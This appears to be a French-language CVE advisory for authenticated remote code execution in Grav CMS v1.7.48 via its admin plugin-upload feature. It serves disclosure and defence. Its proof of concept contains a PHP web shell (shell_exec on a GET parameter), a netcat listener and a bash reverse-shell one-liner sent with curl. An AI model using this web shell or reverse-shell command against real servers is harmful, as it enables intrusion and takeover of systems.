Grav CMS v1.7.48 / Plugin Admin v1.10.48 - RCE authentifiée via téléchargement de plugin (CVE-2025-50286)

Grav CMS v1.7.48 avec le Plugin Admin v1.10.48 est vulnérable à une exécution de code à distance (RCE) via la fonctionnalité de téléchargement de plugin « Direct Install », permettant aux administrateurs authentifiés d'exécuter du code PHP arbitraire sur le serveur.

Identifiant CVE

CVE-2025-50286

Résumé

• Type : Exécution de code à distance authentifiée (RCE)
• Emplacement : /admin/tools/direct-install (Panneau d'administration > Outils > Installation directe)
• Impact : Exécution de code PHP arbitraire et compromission potentielle complète du système
• Authentification requise : Oui (accès administrateur)
• Version affectée : Grav CMS v1.7.48 / Plugin Admin v1.10.48

Preuve de concept

1. Préparer un écouteur :

   root@kitploit:~

   nc -lvnp 4444
   

2. Se connecter au panneau d'administration Grav en tant qu'administrateur.

3. Aller dans Outils > Installation directe

4. Télécharger un ZIP de plugin malveillant (evilplugin.zip) structuré comme suit :

   root@kitploit:~

   evilplugin/
   ├── evilplugin.php         ← contient : shell_exec($_GET['cmd'])
   └── blueprints.yaml        ← blueprint minimal pour passer la validation
   

5. Déclencher le reverse shell :

   root@kitploit:~

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
   

6. Reverse shell reçu :

   root@kitploit:~

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data
   

Composant affecté

• Point de terminaison : /admin/tools/direct-install
• Fonctionnalité : Téléchargement de plugin et chargement automatique sans validation

Testé sur

• Debian 11
• Apache2 + PHP 7.4
• Grav CMS v1.7.48 (avec le Plugin Admin v1.10.48)

Découvreur

@binneko

Références

• Grav CMS GitHub
• CVE Record - CVE-2025-50286

Avertissement

Uniquement à des fins éducatives et défensives.